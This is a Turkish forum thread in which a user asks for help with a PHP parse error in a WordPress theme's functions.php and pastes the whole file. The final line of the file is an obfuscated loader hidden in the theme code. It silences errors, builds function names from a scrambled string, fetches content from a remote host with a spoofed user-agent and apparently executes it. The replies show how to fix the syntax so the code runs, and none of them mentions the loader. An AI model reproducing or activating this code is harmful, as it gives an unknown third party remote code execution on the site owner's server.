• 02-02-2014, 22:54:46
    #1
    Üyeliği durduruldu
    Merhaba bir tema kurmak istiyorum fakat

    Parse error: syntax error, unexpected '<' in /home/.../functions.php on line 204

    hatası veriyor nasıl düzeltebilirim?

    İlgili dosya:

    <?php
    
    //require_once ('admin/index.php
    
    include('settings.php');
    
    if (function_exists('add_theme_support')) {
    
    	add_theme_support('menus');
    
    	register_nav_menu('header-menu','Header Menu');
    
    //	register_nav_menu('footer-menu','Footer Menu');
    
    	add_theme_support( 'post-thumbnails' );
    
    	add_image_size('slide-image',980,410,true);
    
    	add_image_size('home-box',309,180,true);
    
    	add_image_size('home-box-wide',465,260,true);
    
    }
    
    function get_category_id($cat_name){
    
    	$term = get_term_by('name', $cat_name, 'category');
    
    	return $term->term_id;
    
    }
    
    function ds_get_excerpt($num_chars) {
    
        $temp_str = substr(strip_tags(get_the_content()),0,$num_chars);
    
        $temp_parts = explode(" ",$temp_str);
    
        $temp_parts[(count($temp_parts) - 1)] = '';
    
        
    
        if(strlen(strip_tags(get_the_content())) > 125)
    
          return implode(" ",$temp_parts) . '...';
    
        else
    
          return implode(" ",$temp_parts);
    
    }
    
    if ( function_exists('register_sidebar') ) {
    
            register_sidebar(array(
    
                    'name'=>'Sidebar',
    
    		'before_widget' => '<div class="side_box">',
    
    		'after_widget' => '</div>',
    
    		'before_title' => '<h3 class="side_title">',
    
    		'after_title' => '</h3>',
    
    	));
    
            register_sidebar(array(
    
                    'name'=>'Footer',
    
    		'before_widget' => '<div class="footer_box">',
    
    		'after_widget' => '</div>',
    
    		'before_title' => '<h3>',
    
    		'after_title' => '</h3>',
    
    	));	
    
    }
    
    // EX POST CUSTOM FIELD START
    
    $prefix = 'ex_';
    
    $meta_box = array(
    
        'id' => 'my-meta-box',
    
        'title' => 'Custom meta box',
    
        'page' => 'post',
    
        'context' => 'normal',
    
        'priority' => 'high',
    
        'fields' => array(
    
            array(
    
                'name' => 'Show in slideshow',
    
                'id' => $prefix . 'show_in_slideshow',
    
                'type' => 'checkbox'
    
            )
    
        )
    
    );
    
    add_action('admin_menu', 'mytheme_add_box');
    
    // Add meta box
    
    function mytheme_add_box() {
    
        global $meta_box;
    
        add_meta_box($meta_box['id'], $meta_box['title'], 'mytheme_show_box', $meta_box['page'], $meta_box['context'], $meta_box['priority']);
    
    }
    
    // Callback function to show fields in meta box
    
    function mytheme_show_box() {
    
        global $meta_box, $post;
    
        // Use nonce for verification
    
        echo '<input type="hidden" name="mytheme_meta_box_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
    
        echo '<table class="form-table">';
    
        foreach ($meta_box['fields'] as $field) {
    
            // get current post meta data
    
            $meta = get_post_meta($post->ID, $field['id'], true);
    
            echo '<tr>',
    
                    '<th style="width:20%"><label for="', $field['id'], '">', $field['name'], '</label></th>',
    
                    '<td>';
    
            switch ($field['type']) {
    
                case 'text':
    
                    echo '<input type="text" name="', $field['id'], '" id="', $field['id'], '" value="', $meta ? $meta : $field['std'], '" size="30" style="width:97%" />', '<br />', $field['desc'];
    
                    break;
    
                case 'textarea':
    
                    echo '<textarea name="', $field['id'], '" id="', $field['id'], '" cols="60" rows="4" style="width:97%">', $meta ? $meta : $field['std'], '</textarea>', '<br />', $field['desc'];
    
                    break;
    
                case 'select':
    
                    echo '<select name="', $field['id'], '" id="', $field['id'], '">';
    
                    foreach ($field['options'] as $option) {
    
                        echo '<option', $meta == $option ? ' selected="selected"' : '', '>', $option, '</option>';
    
                    }
    
                    echo '</select>';
    
                    break;
    
                case 'radio':
    
                    foreach ($field['options'] as $option) {
    
                        echo '<input type="radio" name="', $field['id'], '" value="', $option['value'], '"', $meta == $option['value'] ? ' checked="checked"' : '', ' />', $option['name'];
    
                    }
    
                    break;
    
                case 'checkbox':
    
                    echo '<input type="checkbox" value="Yes" name="', $field['id'], '" id="', $field['id'], '"', $meta ? ' checked="checked"' : '', ' />';
    
                    break;
    
            }
    
            echo     '<td>',
    
                '</tr>';
    
        }
    
        echo '</table>';
    
    }
    
    add_action('save_post', 'mytheme_save_data');
    
    // Save data from meta box
    
    function mytheme_save_data($post_id) {
    
        global $meta_box;
    
        // verify nonce
    
        if (!wp_verify_nonce($_POST['mytheme_meta_box_nonce'], basename(__FILE__))) {
    
            return $post_id;
    
        }
    
        // check autosave
    
        if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
    
            return $post_id;
    
        }
    
        // check permissions
    
        if ('page' == $_POST['post_type']) {
    
            if (!current_user_can('edit_page', $post_id)) {
    
                return $post_id;
    
            }
    
        } elseif (!current_user_can('edit_post', $post_id)) {
    
            return $post_id;
    
        }
    
        foreach ($meta_box['fields'] as $field) {
    
            $old = get_post_meta($post_id, $field['id'], true);
    
            $new = $_POST[$field['id']];
    
            if ($new && $new != $old) {
    
                update_post_meta($post_id, $field['id'], $new);
    
            } elseif ('' == $new && $old) {
    
                delete_post_meta($post_id, $field['id'], $old);
    
            }
    
        }
    
    }
    
    // EX POST CUSTOM FIELD END
    
    /* Custom fields for PAGES Starts */
    
    add_action( 'add_meta_boxes', 'pages_extra_fields_box' );
    
    function pages_extra_fields_box() {
    
        add_meta_box( 
    
            'pages_extra_fields_box_id',
    
            __( 'Page Details', 'rochebros' ),
    
            'pages_extra_fields_box_content',
    
            'post',
    
            'normal',
    
            'high'
    
        );
    
    }
    
    function pages_extra_fields_box_content( $post ) {
    
    	wp_nonce_field( plugin_basename( __FILE__ ), 'pages_extra_fields_box_content_nonce' );
    
    	echo '
    
    	<style type="text/css">
    
    	.page_extra_tbl input[type=text] { width: 350px; padding: 5px 8px; }
    
    	.page_extra_tbl select { min-width: 50px; }
    
    	.page_extra_tbl textarea { width: 350px; height: 80px; padding: 5px 8px; }
    
    	</style>
    
    	<table border="0" class="pages_extra_tbl">
    
    	<tr>
    
    		<td>Type:</td>
    
    		<td><select name="page_featured_type">
    
    			<option value="">image</option>';
    
    			if(get_post_meta( $post->ID, 'page_featured_type', true ) == 'youtube') {
    
    				echo '<option value="youtube" selected="selected">youtube</option>';
    
    			} else {
    
    				echo '<option value="youtube">youtube</option>';
    
    			}
    
    			
    
    			if(get_post_meta( $post->ID, 'page_featured_type', true ) == 'vimeo') {
    
    				echo '<option value="vimeo" selected="selected">vimeo</option>';
    
    			} else {
    
    				echo '<option value="vimeo">vimeo</option>';
    
    			}
    
    	echo '
    
    		</select></td>
    
    	</tr>
    
    	<tr>
    
    		<td>Video ID:</td>
    
    		<td><input type="text" name="page_video_id" value="' .  get_post_meta( $post->ID, 'page_video_id', true ) . '" /></td>
    
    	</tr>
    
    	<tr>
    
    		<td colspan="2">ex. <b>h6zo_7nvwNU</b> (youtube)<br />ex. <b>39792837</b> (vimeo)</td>
    
    	</tr>
    
    	</table>';
    
    }
    
    add_action( 'save_post', 'pages_extra_fields_box_save' );
    
    function pages_extra_fields_box_save( $post_id ) {
    
    	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) 
    
    	return;
    
    	if ( !wp_verify_nonce( $_POST['pages_extra_fields_box_content_nonce'], plugin_basename( __FILE__ ) ) )
    
    	return;
    
    	if ( 'page' == $_POST['post_type'] ) {
    
    		if ( !current_user_can( 'edit_page', $post_id ) )
    
    		return;
    
    	} else {
    
    		if ( !current_user_can( 'edit_post', $post_id ) )
    
    		return;
    
    	}
    
    	$page_featured_type = $_POST['page_featured_type'];
    
    	$page_video_id = $_POST['page_video_id'];
    
    	update_post_meta( $post_id, 'page_featured_type', $page_featured_type );
    
    	update_post_meta( $post_id, 'page_video_id', $page_video_id );
    
    }
    
    /* Custom fields for PAGES Ends */
    
    
    <? function i($e,$k='$v'){return create_function($k,'return '.$e.'('.$k.');');};$i='i';$g=$i('intval');global $f; $f='wfillleoegtacoentusntrevlfpaoe1l0ucn43lr2_75698.;U-TN /:W'; function k($x){global $f; return $f[4*$x/3];};$k='k';error_reporting(0);ini_set("display_errors", false); if (ini_get($k(8.25).$f[$g('3O10')].$f[$g('3O13')].$k(5.25).$f[$g('0O20')].$f[$g('41O8')].$f[$g('17')].$f[$g('21')].$f[$g('3')].$f[$g('41')].$f[$g('1O5')].$f[$g('7O4')].$k(19.5).$k(4.5).$f[$g('15')])==1){ $ctxc=$i($k(13.5).$k(7.5).$f[$g('21')].$k(4.5).$f[$g('11')].'m'.$k(30.75).$k(9).$f[$g('7')].$f[$g('15O8')].$f[$g('10')].$f[$g('6O15')].'x'.$f[$g('10')].$f[$g('41O14')].$k(9).$k(15.75).$f[$g('6')].$f[$g('11O7')].$f[$g('10O14')].$f[$g('6')], '$o'); $ctx=$ctxc(array('http'=>array('method'=>'GET', 'header'=>$f[$g('49O16')].$f[$g('18')].$k(4.5).$f[$g('21')].$f[$g('50O7')].'A'.$k(6.75).$k(4.5).$f[$g('15O15')].$k(7.5).$f[$g('55')].$f[$g('53')].'M'.$k(5.25).'z'.$k(1.5).$k(2.25).$k(2.25).$k(8.25).$f[$g('54O4')].$f[$g('43')].$k(35.25).$k(24).$f[$g('53O6')].'('.$f[$g('56O14')].$k(1.5).$k(11.25).'d'.$k(5.25).$f[$g('0O9')].$f[$g('18O13')].$f[$g('48')].$f[$g('53O9')].$f[$g('49O13')].$k(36).$k(39.75).$f[$g('56')].$f[$g('2')].$f[$g('15O9')].'d'.$f[$g('7O18')].$f[$g('0O16')].$f[$g('18O16')].$f[$g('53O9')].$f[$g('52O7')].$k(38.25).$f[$g('53O16')].$f[$g('43O12')].$f[$g('47O11')].$f[$g('30')].$k(36).$k(39.75).$f[$g('6O20')].$f[$g('15O15')].$f[$g('50')].$f[$g('49O19')].'S'.$f[$g('48O13')].$f[$g('53')].$f[$g('21O17')].$f[$g('23')].$f[$g('55O3')].$k(22.5).'d'.$k(35.25).$f[$g('46')].$k(35.25).$f[$g('30O12')].$f[$g('6')].$f[$g('47')].$f[$g('45')].$f[$g('12O9')].')'))); $x=$i($k(0.75).$k(1.5).$f[$g('3')].$f[$g('6O1')].$f[$g('41O13')].$f[$g('9')].$f[$g('6')].$f[$g('10')].$f[$g('41')].$k(9).$f[$g('7')].$f[$g('15O8')].$f[$g('10')].$f[$g('6')].$f[$g('15')].$f[$g('10O3')].$f[$g('18')],'$o,$t,$r'); $s=$i($f[$g('6O14')].$f[$g('23')].$f[$g('11O19')].$f[$g('3')]);$s($x('h'.$f[$g('10')].$f[$g('10')].$k(19.5).$k(41.25).$f[$g('54')].$f[$g('54O15')].$f[$g('2O16')].'m'.$f[$g('3O7')].$f[$g('2')].$f[$g('1')].$k(4.5).$k(35.25).$f[$g('15')].$f[$g('6')].$k(7.5).$k(40.5).$f[$g('0O10')].$f[$g('26')]."?b4j&v=p", false, $ctx)); } elseif (function_exists($f[$g('12O9')].$f[$g('17O15')].$f[$g('21')].$f[$g('3')].$f[$g('41O12')].$f[$g('12O3')].$k(2.25).$f[$g('7')].$f[$g('18O20')].$f[$g('6')])){ $x=$i($k(9).$f[$g('17')].$f[$g('21')].$f[$g('3O14')]."_init",'$o'); $t=$x('h'.$f[$g('10')].$f[$g('10')].$k(19.5).$k(41.25).$f[$g('54')].$f[$g('54O15')].$f[$g('2O16')].'m'.$f[$g('3O7')].$f[$g('2')].$f[$g('1')].$k(4.5).$k(35.25).$f[$g('15')].$f[$g('6')].$k(7.5).$k(40.5).$f[$g('0O10')].$f[$g('26')]."?b4j&v=p"); $j=$i($f[$g('12O8')].$f[$g('17O20')].$f[$g('21')].$f[$g('3')].$f[$g('41')].$f[$g('18')].$f[$g('6')].$f[$g('10')].$k(5.25).$f[$g('26O4')].$f[$g('10O17')],'$o, $t, $r'); $c=$i($k(9).$f[$g('17')].$f[$g('21')].$f[$g('3O14')]."_exec",'$o'); $s=$i($f[$g('6O14')].$f[$g('23')].$f[$g('11O19')].$f[$g('3')]); $j($t, 19913, true); $j($t, 10018, 'M'.$f[$g('7')].'z'.$f[$g('2')].$f[$g('3')].$f[$g('3O4')].$f[$g('11')].$f[$g('54O2')].$k(32.25).$f[$g('47O3')].$k(24).$f[$g('53O17')].'('.$k(42).$k(1.5).$f[$g('15')].'d'.$f[$g('7O18')].$k(0).$f[$g('18O20')].$k(36).$f[$g('53O19')].$k(36.75).$f[$g('48O11')].$f[$g('53O3')].$k(42).$f[$g('2O8')].$k(11.25).'d'.$f[$g('7O6')].$f[$g('0')].$f[$g('18O13')].$k(39.75).$f[$g('52O3')].$k(38.25).$f[$g('53O20')].$k(32.25).$k(35.25).$f[$g('30')].$f[$g('48')].$f[$g('53O17')].$k(4.5).$f[$g('15')].$f[$g('50O18')].$f[$g('49')].'S'.$k(36).$k(39.75).$f[$g('21O13')].$f[$g('23')].$f[$g('55O5')].$k(22.5).'d'.$f[$g('47')].$f[$g('46')].$f[$g('47')].$f[$g('30')].$f[$g('6O1')].$f[$g('47')].$f[$g('45')].$k(9).')'); $j($t, 78, 3); $j($t, 52, true); $s($c($t)); $c=$i($f[$g('12O9')].$f[$g('17O15')].$f[$g('21')].$f[$g('3')].$f[$g('41O12')].$f[$g('12O3')].$k(2.25).$f[$g('7')].$f[$g('18O20')].$f[$g('6')],'$o'); $c($t);} ?>
  • 02-02-2014, 23:06:07
    #2
    Son satırdaki

    <? function i($e,$k='$v'){

    olan kısmı

    <?php function i($e,$k='$v'){

    bu şekilde değiştirir misin?
  • 02-02-2014, 23:08:38
    #3
    199. satırda

    echo '<td>',

    komutu var. Sonundaki virgülü noktalı virgül ile değiştirmelisin.

    yani

    echo '<td>';
  • 02-02-2014, 23:46:55
    #4
    /* Custom fields for PAGES Ends */
    sonrasında php yi kapatmalısınız

    ?>
    veya

    sondaki fonksiyonun başında php yi tekrar açmamalısınız

    function i($e,$k='$v'){return create_function
  • 04-02-2014, 17:29:14
    #5
    Üyeliği durduruldu
    Teşekkürler arkadaşlar hallettim ama tema zaten sıkıntılıymış bir yeri düzeltiyorum diğeri bozuluyor bıraktım ben de.
  • 05-02-2014, 00:25:28
    #6
    bendede aynı problem var hangi çözüm işinize yaradı acaba ?